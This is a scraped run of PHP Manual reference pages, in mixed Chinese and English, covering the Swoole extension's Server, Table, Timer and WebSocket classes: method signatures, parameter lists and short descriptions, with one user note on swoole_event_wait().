public Swoole\Server::after(int $after_time_ms, callable $callback, string $param = ?): ReturnType

参数

after_time_ms

callback

param

返回值

User Contributed Notes

There are no user contributed notes for this page.


Bind the connection to a user defined user ID.

  • ? Swoole\Server::after
  • Swoole\Server::clearTimer ?
  • PHP Manual
  • Swoole\Server
  • Bind the connection to a user defined user ID.

Swoole\Server::bind

(PECL swoole >= 1.9.0)

Swoole\Server::bind — Bind the connection to a user defined user ID.

说明

public Swoole\Server::bind(int $fd, int $uid): bool

参数

fd

uid

返回值

User Contributed Notes

There are no user contributed notes for this page.


Stop and destory a timer.

  • ? Swoole\Server::bind
  • Swoole\Server::close ?
  • PHP Manual
  • Swoole\Server
  • Stop and destory a timer.

Swoole\Server::clearTimer

swoole_timer_clear

(PECL swoole >= 1.9.0)

Swoole\Server::clearTimer -- swoole_timer_clear — Stop and destory a timer.

说明

面向对象风格 (method):

public Swoole\Server::clearTimer(int $timer_id): void

过程化风格:

swoole_timer_clear(int $timer_id): void

Stop and destory a timer

参数

timer_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Close a connection to the client.

  • ? Swoole\Server::clearTimer
  • Swoole\Server::confirm ?
  • PHP Manual
  • Swoole\Server
  • Close a connection to the client.

Swoole\Server::close

(PECL swoole >= 1.9.0)

Swoole\Server::close — Close a connection to the client.

说明

public Swoole\Server::close(int $fd, bool $reset = ?): bool

参数

fd

reset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check status of the connection.

  • ? Swoole\Server::close
  • Swoole\Server::connection_info ?
  • PHP Manual
  • Swoole\Server
  • Check status of the connection.

Swoole\Server::confirm

(PECL swoole >= 1.9.0)

Swoole\Server::confirm — Check status of the connection.

说明

public Swoole\Server::confirm(int $fd): bool

参数

fd

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the connection info by file description.

  • ? Swoole\Server::confirm
  • Swoole\Server::connection_list ?
  • PHP Manual
  • Swoole\Server
  • Get the connection info by file description.

Swoole\Server::connection_info

(PECL swoole >= 1.9.0)

Swoole\Server::connection_info — Get the connection info by file description.

说明

public Swoole\Server::connection_info(int $fd, int $reactor_id = ?): array

参数

fd

reactor_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get all of the established connections.

  • ? Swoole\Server::connection_info
  • Swoole\Server::__construct ?
  • PHP Manual
  • Swoole\Server
  • Get all of the established connections.

Swoole\Server::connection_list

(PECL swoole >= 1.9.0)

Swoole\Server::connection_list — Get all of the established connections.

说明

public Swoole\Server::connection_list(int $start_fd, int $pagesize = ?): array

参数

start_fd

pagesize

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swoole server.

  • ? Swoole\Server::connection_list
  • Swoole\Server::defer ?
  • PHP Manual
  • Swoole\Server
  • Construct a Swoole server.

Swoole\Server::__construct

(PECL swoole >= 1.9.0)

Swoole\Server::__construct — Construct a Swoole server.

说明

public Swoole\Server::__construct(
string $host,
int $port = ?,
integr $mode = ?,
int $sock_type = ?
)

参数

host

port

mode

sock_type

User Contributed Notes

There are no user contributed notes for this page.


Delay execution of the callback function at the end of current EventLoop.

  • ? Swoole\Server::__construct
  • Swoole\Server\Port::__construct ?
  • PHP Manual
  • Swoole\Server
  • Delay execution of the callback function at the end of current EventLoop.

Swoole\Server::defer

(PECL swoole >= 1.9.0)

Swoole\Server::defer — Delay execution of the callback function at the end of current EventLoop.

说明

public Swoole\Server::defer(callable $callback): void

参数

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct a server port

  • ? Swoole\Server::defer
  • Swoole\Server\Port::__destruct ?
  • PHP Manual
  • Swoole\Server
  • Construct a server port

Swoole\Server\Port::__construct

(PECL swoole >= 1.9.0)

Swoole\Server\Port::__construct — Construct a server port

说明

private Swoole\Server\Port::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Destory server port

  • ? Swoole\Server\Port::__construct
  • Swoole\Server\Port::on ?
  • PHP Manual
  • Swoole\Server
  • Destory server port

Swoole\Server\Port::__destruct

(PECL swoole >= 1.9.0)

Swoole\Server\Port::__destruct — Destory server port

说明

public Swoole\Server\Port::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Register callback functions by event.

  • ? Swoole\Server\Port::__destruct
  • Swoole\Server\Port::set ?
  • PHP Manual
  • Swoole\Server
  • Register callback functions by event.

Swoole\Server\Port::on

(PECL swoole >= 1.9.0)

Swoole\Server\Port::on — Register callback functions by event.

说明

public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType

参数

event_name

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set protocol of the server port.

  • ? Swoole\Server\Port::on
  • Swoole\Server::exist ?
  • PHP Manual
  • Swoole\Server
  • Set protocol of the server port.

Swoole\Server\Port::set

(PECL swoole >= 1.9.0)

Swoole\Server\Port::set — Set protocol of the server port.

说明

public Swoole\Server\Port::set(array $settings): void

参数

settings

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if the connection is existed.

  • ? Swoole\Server\Port::set
  • Swoole\Server::finish ?
  • PHP Manual
  • Swoole\Server
  • Check if the connection is existed.

Swoole\Server::exist

(PECL swoole >= 1.9.0)

Swoole\Server::exist — Check if the connection is existed.

说明

public Swoole\Server::exist(int $fd): bool

参数

fd

返回值

User Contributed Notes

There are no user contributed notes for this page.


Used in task process for sending result to the worker process when the task is finished.

  • ? Swoole\Server::exist
  • Swoole\Server::getClientInfo ?
  • PHP Manual
  • Swoole\Server
  • Used in task process for sending result to the worker process when the task is finished.

Swoole\Server::finish

(PECL swoole >= 1.9.0)

Swoole\Server::finish — Used in task process for sending result to the worker process when the task is finished.

说明

public Swoole\Server::finish(string $data): void

参数

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the connection info by file description.

  • ? Swoole\Server::finish
  • Swoole\Server::getClientList ?
  • PHP Manual
  • Swoole\Server
  • Get the connection info by file description.

Swoole\Server::getClientInfo

(PECL swoole >= 1.9.0)

Swoole\Server::getClientInfo — Get the connection info by file description.

说明

public Swoole\Server::getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array

参数

fd

File descriptors.

reactor_id

The Reactor thread ID where the connection is made.

ignore_error

Whether to ignore errors, if set to true, connection information will be returned even if the connection is closed.

返回值

Returns information about the client connection.

User Contributed Notes

There are no user contributed notes for this page.


Get all of the established connections.

  • ? Swoole\Server::getClientInfo
  • Swoole\Server::getLastError ?
  • PHP Manual
  • Swoole\Server
  • Get all of the established connections.

Swoole\Server::getClientList

(PECL swoole >= 1.9.0)

Swoole\Server::getClientList — Get all of the established connections.

说明

public Swoole\Server::getClientList(int $start_fd, int $pagesize = ?): array

Warning

本函数还未编写文档，仅有参数列表。

参数

start_fd

pagesize

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the error code of the most recent error.

  • ? Swoole\Server::getClientList
  • Swoole\Server::heartbeat ?
  • PHP Manual
  • Swoole\Server
  • Get the error code of the most recent error.

Swoole\Server::getLastError

(PECL swoole >= 1.9.0)

Swoole\Server::getLastError — Get the error code of the most recent error.

说明

public Swoole\Server::getLastError(): int

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check all the connections on the server.

  • ? Swoole\Server::getLastError
  • Swoole\Server::listen ?
  • PHP Manual
  • Swoole\Server
  • Check all the connections on the server.

Swoole\Server::heartbeat

(PECL swoole >= 1.9.0)

Swoole\Server::heartbeat — Check all the connections on the server.

说明

public Swoole\Server::heartbeat(bool $if_close_connection): mixed

参数

if_close_connection

返回值

User Contributed Notes

There are no user contributed notes for this page.


Listen on the given IP and port, socket type.

  • ? Swoole\Server::heartbeat
  • Swoole\Server::on ?
  • PHP Manual
  • Swoole\Server
  • Listen on the given IP and port, socket type.

Swoole\Server::listen

(PECL swoole >= 1.9.0)

Swoole\Server::listen — Listen on the given IP and port, socket type.

说明

public Swoole\Server::listen(string $host, int $port, string $socket_type): bool

参数

host

port

socket_type

返回值

User Contributed Notes

There are no user contributed notes for this page.


Register a callback function by event name.

  • ? Swoole\Server::listen
  • Swoole\Server::pause ?
  • PHP Manual
  • Swoole\Server
  • Register a callback function by event name.

Swoole\Server::on

(PECL swoole >= 1.9.0)

Swoole\Server::on — Register a callback function by event name.

说明

public Swoole\Server::on(string $event_name, callable $callback): void

参数

event_name

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Stop receiving data from the connection.

  • ? Swoole\Server::on
  • Swoole\Server::protect ?
  • PHP Manual
  • Swoole\Server
  • Stop receiving data from the connection.

Swoole\Server::pause

(PECL swoole >= 1.9.0)

Swoole\Server::pause — Stop receiving data from the connection.

说明

public Swoole\Server::pause(int $fd): void

参数

fd

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the connection to be protected mode.

  • ? Swoole\Server::pause
  • Swoole\Server::reload ?
  • PHP Manual
  • Swoole\Server
  • Set the connection to be protected mode.

Swoole\Server::protect

(PECL swoole >= 1.9.0)

Swoole\Server::protect — Set the connection to be protected mode.

说明

public Swoole\Server::protect(int $fd, bool $is_protected = ?): void

参数

fd

is_protected

返回值

User Contributed Notes

There are no user contributed notes for this page.


Restart all the worker process.

  • ? Swoole\Server::protect
  • Swoole\Server::resume ?
  • PHP Manual
  • Swoole\Server
  • Restart all the worker process.

Swoole\Server::reload

(PECL swoole >= 1.9.0)

Swoole\Server::reload — Restart all the worker process.

说明

public Swoole\Server::reload(): bool

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Start receving data from the connection.

  • ? Swoole\Server::reload
  • Swoole\Server::send ?
  • PHP Manual
  • Swoole\Server
  • Start receving data from the connection.

Swoole\Server::resume

(PECL swoole >= 1.9.0)

Swoole\Server::resume — Start receving data from the connection.

说明

public Swoole\Server::resume(int $fd): void

参数

fd

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data to the client.

  • ? Swoole\Server::resume
  • Swoole\Server::sendfile ?
  • PHP Manual
  • Swoole\Server
  • Send data to the client.

Swoole\Server::send

(PECL swoole >= 1.9.0)

Swoole\Server::send — Send data to the client.

说明

public Swoole\Server::send(int $fd, string $data, int $reactor_id = ?): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

fd

data

reactor_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send file to the connection.

  • ? Swoole\Server::send
  • Swoole\Server::sendMessage ?
  • PHP Manual
  • Swoole\Server
  • Send file to the connection.

Swoole\Server::sendfile

(PECL swoole >= 1.9.0)

Swoole\Server::sendfile — Send file to the connection.

说明

public Swoole\Server::sendfile(int $fd, string $filename, int $offset = ?): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

fd

filename

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send message to worker processes by ID.

  • ? Swoole\Server::sendfile
  • Swoole\Server::sendto ?
  • PHP Manual
  • Swoole\Server
  • Send message to worker processes by ID.

Swoole\Server::sendMessage

(PECL swoole >= 1.9.0)

Swoole\Server::sendMessage — Send message to worker processes by ID.

说明

public Swoole\Server::sendMessage(int $worker_id, string $data): bool

参数

dst_worker_id

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote UDP address.

  • ? Swoole\Server::sendMessage
  • Swoole\Server::sendwait ?
  • PHP Manual
  • Swoole\Server
  • Send data to the remote UDP address.

Swoole\Server::sendto

(PECL swoole >= 1.9.0)

Swoole\Server::sendto — Send data to the remote UDP address.

说明

public Swoole\Server::sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool

参数

ip

port

data

server_socket

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote socket in the blocking way.

  • ? Swoole\Server::sendto
  • Swoole\Server::set ?
  • PHP Manual
  • Swoole\Server
  • Send data to the remote socket in the blocking way.

Swoole\Server::sendwait

(PECL swoole >= 1.9.0)

Swoole\Server::sendwait — Send data to the remote socket in the blocking way.

说明

public Swoole\Server::sendwait(int $fd, string $data): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

fd

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the runtime settings of the swoole server.

  • ? Swoole\Server::sendwait
  • Swoole\Server::shutdown ?
  • PHP Manual
  • Swoole\Server
  • Set the runtime settings of the swoole server.

Swoole\Server::set

(PECL swoole >= 1.9.0)

Swoole\Server::set — Set the runtime settings of the swoole server.

说明

public Swoole\Server::set(array $settings): ReturnType

Set the runtime settings of the swoole server. The settings can be accessed by $server->setting when the swoole server has started.

参数

settings

返回值

User Contributed Notes

There are no user contributed notes for this page.


Shutdown the master server process, this function can be called in worker processes.

  • ? Swoole\Server::set
  • Swoole\Server::start ?
  • PHP Manual
  • Swoole\Server
  • Shutdown the master server process, this function can be called in worker processes.

Swoole\Server::shutdown

(PECL swoole >= 1.9.0)

Swoole\Server::shutdown — Shutdown the master server process, this function can be called in worker processes.

说明

public Swoole\Server::shutdown(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Start the Swoole server.

  • ? Swoole\Server::shutdown
  • Swoole\Server::stats ?
  • PHP Manual
  • Swoole\Server
  • Start the Swoole server.

Swoole\Server::start

(PECL swoole >= 1.9.0)

Swoole\Server::start — Start the Swoole server.

说明

public Swoole\Server::start(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the stats of the Swoole server.

  • ? Swoole\Server::start
  • Swoole\Server::stop ?
  • PHP Manual
  • Swoole\Server
  • Get the stats of the Swoole server.

Swoole\Server::stats

(PECL swoole >= 1.9.0)

Swoole\Server::stats — Get the stats of the Swoole server.

说明

public Swoole\Server::stats(): array

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Stop the Swoole server.

  • ? Swoole\Server::stats
  • Swoole\Server::task ?
  • PHP Manual
  • Swoole\Server
  • Stop the Swoole server.

Swoole\Server::stop

(PECL swoole >= 1.9.0)

Swoole\Server::stop — Stop the Swoole server.

说明

public Swoole\Server::stop(int $worker_id = ?): bool

参数

worker_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data to the task worker processes.

  • ? Swoole\Server::stop
  • Swoole\Server::taskwait ?
  • PHP Manual
  • Swoole\Server
  • Send data to the task worker processes.

Swoole\Server::task

(PECL swoole >= 1.9.0)

Swoole\Server::task — Send data to the task worker processes.

说明

public Swoole\Server::task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

data

dst_worker_id

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data to the task worker processes in blocking way.

  • ? Swoole\Server::task
  • Swoole\Server::taskWaitMulti ?
  • PHP Manual
  • Swoole\Server
  • Send data to the task worker processes in blocking way.

Swoole\Server::taskwait

(PECL swoole >= 1.9.0)

Swoole\Server::taskwait — Send data to the task worker processes in blocking way.

说明

public Swoole\Server::taskwait(string $data, float $timeout = ?, int $worker_id = ?): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

timeout

worker_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Execute multiple tasks concurrently.

  • ? Swoole\Server::taskwait
  • Swoole\Server::tick ?
  • PHP Manual
  • Swoole\Server
  • Execute multiple tasks concurrently.

Swoole\Server::taskWaitMulti

(PECL swoole >= 1.9.0)

Swoole\Server::taskWaitMulti — Execute multiple tasks concurrently.

说明

public Swoole\Server::taskWaitMulti(array $tasks, float $timeout_ms = ?): void

参数

tasks

timeout_ms

返回值

User Contributed Notes

There are no user contributed notes for this page.


Repeats a given function at every given time-interval.

  • ? Swoole\Server::taskWaitMulti
  • Swoole\Table ?
  • PHP Manual
  • Swoole\Server
  • Repeats a given function at every given time-interval.

Swoole\Server::tick

(PECL swoole >= 1.9.0)

Swoole\Server::tick — Repeats a given function at every given time-interval.

说明

public Swoole\Server::tick(int $interval_ms, callable $callback): void

参数

interval_ms

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Table class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Table implements Iterator, Countable {
/* 常量 */
const int TYPE_INT = 1;
const int TYPE_STRING = 7;
const int TYPE_FLOAT = 6;
/* 方法 */
public column(string $name, string $type, int $size = ?): ReturnType
public count(): int
public create(): void
public current(): array
public decr(string $key, string $column, int $decrby = ?): ReturnType
public del(string $key): void
public destroy(): void
public exist(string $key): bool
public get(string $row_key, string $column_key): int
public incr(string $key, string $column, int $incrby = ?): void
public key(): string
public next(): ReturnType
public rewind(): void
public set(string $key, array $value): VOID
public valid(): bool
}

预定义常量

Swoole\Table::TYPE_INT

Swoole\Table::TYPE_STRING

Swoole\Table::TYPE_FLOAT

Table of Contents

  • Swoole\Table::column — Set the data type and size of the columns.
  • Swoole\Table::__construct — Construct a Swoole memory table with fixed size.
  • Swoole\Table::count — Count the rows in the table, or count all the elements in the table if $mode = 1.
  • Swoole\Table::create — Create the swoole memory table.
  • Swoole\Table::current — Get the current row.
  • Swoole\Table::decr — Decrement the value in the Swoole table by $row_key and $column_key.
  • Swoole\Table::del — Delete a row in the Swoole table by $row_key.
  • Swoole\Table::destroy — Destroy the Swoole table.
  • Swoole\Table::exist — Check if a row is existed by $row_key.
  • Swoole\Table::get — Get the value in the Swoole table by $row_key and $column_key.
  • Swoole\Table::incr — Increment the value by $row_key and $column_key.
  • Swoole\Table::key — Get the key of current row.
  • Swoole\Table::next — Iterator the next row.
  • Swoole\Table::rewind — Rewind the iterator.
  • Swoole\Table::set — Update a row of the table by $row_key.
  • Swoole\Table::valid — Check current if the current row is valid.

User Contributed Notes

There are no user contributed notes for this page.


Set the data type and size of the columns.

  • ? Swoole\Table
  • Swoole\Table::__construct ?
  • PHP Manual
  • Swoole\Table
  • Set the data type and size of the columns.

Swoole\Table::column

(PECL swoole >= 1.9.0)

Swoole\Table::column — Set the data type and size of the columns.

说明

public Swoole\Table::column(string $name, string $type, int $size = ?): ReturnType

参数

name

type

size

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swoole memory table with fixed size.

  • ? Swoole\Table::column
  • Swoole\Table::count ?
  • PHP Manual
  • Swoole\Table
  • Construct a Swoole memory table with fixed size.

Swoole\Table::__construct

(PECL swoole >= 1.9.0)

Swoole\Table::__construct — Construct a Swoole memory table with fixed size.

说明

public Swoole\Table::__construct(int $table_size)

参数

table_size

User Contributed Notes

There are no user contributed notes for this page.


Count the rows in the table, or count all the elements in the table if $mode = 1.

  • ? Swoole\Table::__construct
  • Swoole\Table::create ?
  • PHP Manual
  • Swoole\Table
  • Count the rows in the table, or count all the elements in the table if $mode = 1.

Swoole\Table::count

(PECL swoole >= 1.9.0)

Swoole\Table::count — Count the rows in the table, or count all the elements in the table if $mode = 1.

说明

public Swoole\Table::count(): int

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create the swoole memory table.

  • ? Swoole\Table::count
  • Swoole\Table::current ?
  • PHP Manual
  • Swoole\Table
  • Create the swoole memory table.

Swoole\Table::create

(PECL swoole >= 1.9.0)

Swoole\Table::create — Create the swoole memory table.

说明

public Swoole\Table::create(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the current row.

  • ? Swoole\Table::create
  • Swoole\Table::decr ?
  • PHP Manual
  • Swoole\Table
  • Get the current row.

Swoole\Table::current

(PECL swoole >= 1.9.0)

Swoole\Table::current — Get the current row.

说明

public Swoole\Table::current(): array

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Decrement the value in the Swoole table by $row_key and $column_key.

  • ? Swoole\Table::current
  • Swoole\Table::del ?
  • PHP Manual
  • Swoole\Table
  • Decrement the value in the Swoole table by $row_key and $column_key.

Swoole\Table::decr

(PECL swoole >= 1.9.0)

Swoole\Table::decr — Decrement the value in the Swoole table by $row_key and $column_key.

说明

public Swoole\Table::decr(string $key, string $column, int $decrby = ?): ReturnType

参数

key

column

decrby

返回值

User Contributed Notes

There are no user contributed notes for this page.


Delete a row in the Swoole table by $row_key.

  • ? Swoole\Table::decr
  • Swoole\Table::destroy ?
  • PHP Manual
  • Swoole\Table
  • Delete a row in the Swoole table by $row_key.

Swoole\Table::del

(PECL swoole >= 1.9.0)

Swoole\Table::del — Delete a row in the Swoole table by $row_key.

说明

public Swoole\Table::del(string $key): void

参数

key

返回值

User Contributed Notes

There are no user contributed notes for this page.


Destroy the Swoole table.

  • ? Swoole\Table::del
  • Swoole\Table::exist ?
  • PHP Manual
  • Swoole\Table
  • Destroy the Swoole table.

Swoole\Table::destroy

(PECL swoole >= 1.9.0)

Swoole\Table::destroy — Destroy the Swoole table.

说明

public Swoole\Table::destroy(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if a row is existed by $row_key.

  • ? Swoole\Table::destroy
  • Swoole\Table::get ?
  • PHP Manual
  • Swoole\Table
  • Check if a row is existed by $row_key.

Swoole\Table::exist

(PECL swoole >= 1.9.0)

Swoole\Table::exist — Check if a row is existed by $row_key.

说明

public Swoole\Table::exist(string $key): bool

参数

key

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the value in the Swoole table by $row_key and $column_key.

  • ? Swoole\Table::exist
  • Swoole\Table::incr ?
  • PHP Manual
  • Swoole\Table
  • Get the value in the Swoole table by $row_key and $column_key.

Swoole\Table::get

(PECL swoole >= 1.9.0)

Swoole\Table::get — Get the value in the Swoole table by $row_key and $column_key.

说明

public Swoole\Table::get(string $row_key, string $column_key): int

参数

row_key

column_key

返回值

User Contributed Notes

There are no user contributed notes for this page.


Increment the value by $row_key and $column_key.

  • ? Swoole\Table::get
  • Swoole\Table::key ?
  • PHP Manual
  • Swoole\Table
  • Increment the value by $row_key and $column_key.

Swoole\Table::incr

(PECL swoole >= 1.9.0)

Swoole\Table::incr — Increment the value by $row_key and $column_key.

说明

public Swoole\Table::incr(string $key, string $column, int $incrby = ?): void

参数

key

column

incrby

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the key of current row.

  • ? Swoole\Table::incr
  • Swoole\Table::next ?
  • PHP Manual
  • Swoole\Table
  • Get the key of current row.

Swoole\Table::key

(PECL swoole >= 1.9.0)

Swoole\Table::key — Get the key of current row.

说明

public Swoole\Table::key(): string

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Iterator the next row.

  • ? Swoole\Table::key
  • Swoole\Table::rewind ?
  • PHP Manual
  • Swoole\Table
  • Iterator the next row.

Swoole\Table::next

(PECL swoole >= 1.9.0)

Swoole\Table::next — Iterator the next row.

说明

public Swoole\Table::next(): ReturnType

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator.

  • ? Swoole\Table::next
  • Swoole\Table::set ?
  • PHP Manual
  • Swoole\Table
  • Rewind the iterator.

Swoole\Table::rewind

(PECL swoole >= 1.9.0)

Swoole\Table::rewind — Rewind the iterator.

说明

public Swoole\Table::rewind(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Update a row of the table by $row_key.

  • ? Swoole\Table::rewind
  • Swoole\Table::valid ?
  • PHP Manual
  • Swoole\Table
  • Update a row of the table by $row_key.

Swoole\Table::set

(PECL swoole >= 1.9.0)

Swoole\Table::set — Update a row of the table by $row_key.

说明

public Swoole\Table::set(string $key, array $value): VOID

参数

key

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check current if the current row is valid.

  • ? Swoole\Table::set
  • Swoole\Timer ?
  • PHP Manual
  • Swoole\Table
  • Check current if the current row is valid.

Swoole\Table::valid

(PECL swoole >= 1.9.0)

Swoole\Table::valid — Check current if the current row is valid.

说明

public Swoole\Table::valid(): bool

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Timer class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Timer {
/* 方法 */
public static after(int $after_time_ms, callable $callback): void
public static clear(int $timer_id): void
public static exists(int $timer_id): bool
public static tick(int $interval_ms, callable $callback, string $param = ?): void
}

Table of Contents

  • Swoole\Timer::after — Trigger a callback function after a period of time.
  • Swoole\Timer::clear — Delete a timer by timer ID.
  • Swoole\Timer::exists — Check if a timer is existed.
  • Swoole\Timer::tick — Repeats a given function at every given time-interval.

User Contributed Notes

There are no user contributed notes for this page.


Trigger a callback function after a period of time.

  • ? Swoole\Timer
  • Swoole\Timer::clear ?
  • PHP Manual
  • Swoole\Timer
  • Trigger a callback function after a period of time.

Swoole\Timer::after

(PECL swoole >= 1.9.0)

Swoole\Timer::after — Trigger a callback function after a period of time.

说明

public static Swoole\Timer::after(int $after_time_ms, callable $callback): void

Trigger a callback function after a period of time.

参数

after_time_ms

callback

返回值

User Contributed Notes

Mohamed Ramadan 07-Dec-2021 10:57
when using timer after must use

swoole_event_wait();


Delete a timer by timer ID.

  • ? Swoole\Timer::after
  • Swoole\Timer::exists ?
  • PHP Manual
  • Swoole\Timer
  • Delete a timer by timer ID.

Swoole\Timer::clear

(PECL swoole >= 1.9.0)

Swoole\Timer::clear — Delete a timer by timer ID.

说明

public static Swoole\Timer::clear(int $timer_id): void

Delete a timer by timer ID.

参数

timer_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if a timer is existed.

  • ? Swoole\Timer::clear
  • Swoole\Timer::tick ?
  • PHP Manual
  • Swoole\Timer
  • Check if a timer is existed.

Swoole\Timer::exists

(PECL swoole >= 1.9.0)

Swoole\Timer::exists — Check if a timer is existed.

说明

public static Swoole\Timer::exists(int $timer_id): bool

Check if a timer is existed.

参数

timer_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Repeats a given function at every given time-interval.

  • ? Swoole\Timer::exists
  • Swoole\WebSocket\Frame ?
  • PHP Manual
  • Swoole\Timer
  • Repeats a given function at every given time-interval.

Swoole\Timer::tick

(PECL swoole >= 1.9.0)

Swoole\Timer::tick — Repeats a given function at every given time-interval.

说明

public static Swoole\Timer::tick(int $interval_ms, callable $callback, string $param = ?): void

参数

interval_ms

callback

param

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\WebSocket\Frame class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\WebSocket\Frame {
/* 方法 */
}

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\WebSocket\Server class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\WebSocket\Server extends Swoole\Http\Server {
/* 方法 */
public exist(int $fd): bool
public on(string $event_name, callable $callback): ReturnType
public static pack(
string $data,
string $opcode = ?,
string $finish = ?,
string $mask = ?
): binary
public push(
string $fd,
string $data,
string $opcode = ?,
string $finish = ?
): void
public static unpack(binary $data): string
/* 继承的方法 */
public Swoole\Http\Server::on(string $event_name, callable $callback): void
public Swoole\Http\Server::start(): void
}

Table of Contents

  • Swoole\WebSocket\Server::exist — Check if the file descriptor exists.
  • Swoole\WebSocket\Server::on — Register event callback function
  • Swoole\WebSocket\Server::pack — Get a pack of binary data to send in a single frame.
  • Swoole\WebSocket\Server::push — Push data to the remote client.
  • Swoole\WebSocket\Server::unpack — Unpack the binary data received from the client.

User Contributed Notes

There are no user contributed notes for this page.


Check if the file descriptor exists.

  • ? Swoole\WebSocket\Server
  • Swoole\WebSocket\Server::on ?
  • PHP Manual
  • Swoole\WebSocket\Server
  • Check if the file descriptor exists.

Swoole\WebSocket\Server::exist

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::exist — Check if the file descriptor exists.

说明

public Swoole\WebSocket\Server::exist(int $fd): bool

参数

fd

返回值

User Contributed Notes

There are no user contributed notes for this page.


Register event callback function

  • ? Swoole\WebSocket\Server::exist
  • Swoole\WebSocket\Server::pack ?
  • PHP Manual
  • Swoole\WebSocket\Server
  • Register event callback function

Swoole\WebSocket\Server::on

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::on — Register event callback function

说明

public Swoole\WebSocket\Server::on(string $event_name, callable $callback): ReturnType

Register event callback function

参数

event_name

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get a pack of binary data to send in a single frame.

  • ? Swoole\WebSocket\Server::on
  • Swoole\WebSocket\Server::push ?
  • PHP Manual
  • Swoole\WebSocket\Server
  • Get a pack of binary data to send in a single frame.

Swoole\WebSocket\Server::pack

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::pack — Get a pack of binary data to send in a single frame.

说明

public static Swoole\WebSocket\Server::pack(
string $data,
string $opcode = ?,
string $finish = ?,
string $mask = ?
): binary

参数

data

opcode

finish

mask

返回值

User Contributed Notes

There are no user contributed notes for this page.


Push data to the remote client.

  • ? Swoole\WebSocket\Server::pack
  • Swoole\WebSocket\Server::unpack ?
  • PHP Manual
  • Swoole\WebSocket\Server
  • Push data to the remote client.

Swoole\WebSocket\Server::push

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::push — Push data to the remote client.

说明

public Swoole\WebSocket\Server::push(
string $fd,
string $data,
string $opcode = ?,
string $finish = ?
): void

参数

fd

data

opcode

finish

返回值

User Contributed Notes

There are no user contributed notes for this page.


Unpack the binary data received from the client.

  • ? Swoole\WebSocket\Server::push
  • Tidy ?
  • PHP Manual
  • Swoole\WebSocket\Server
  • Unpack the binary data received from the client.

Swoole\WebSocket\Server::unpack

(PECL swoole >= 1.9.0)

Swoole\WebSocket\Server::unpack — Unpack the binary data received from the client.

说明

public static Swoole\WebSocket\Server::unpack(binary $data): string

参数

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


Tidy

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Tidy example
  • tidy — The tidy class
    • tidy::body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree
    • tidy::cleanRepair — Execute configured cleanup and repair operations on parsed markup
    • tidy::__construct — Constructs a new tidy object
    • tidy::diagnose — Run configured diagnostics on parsed and repaired markup
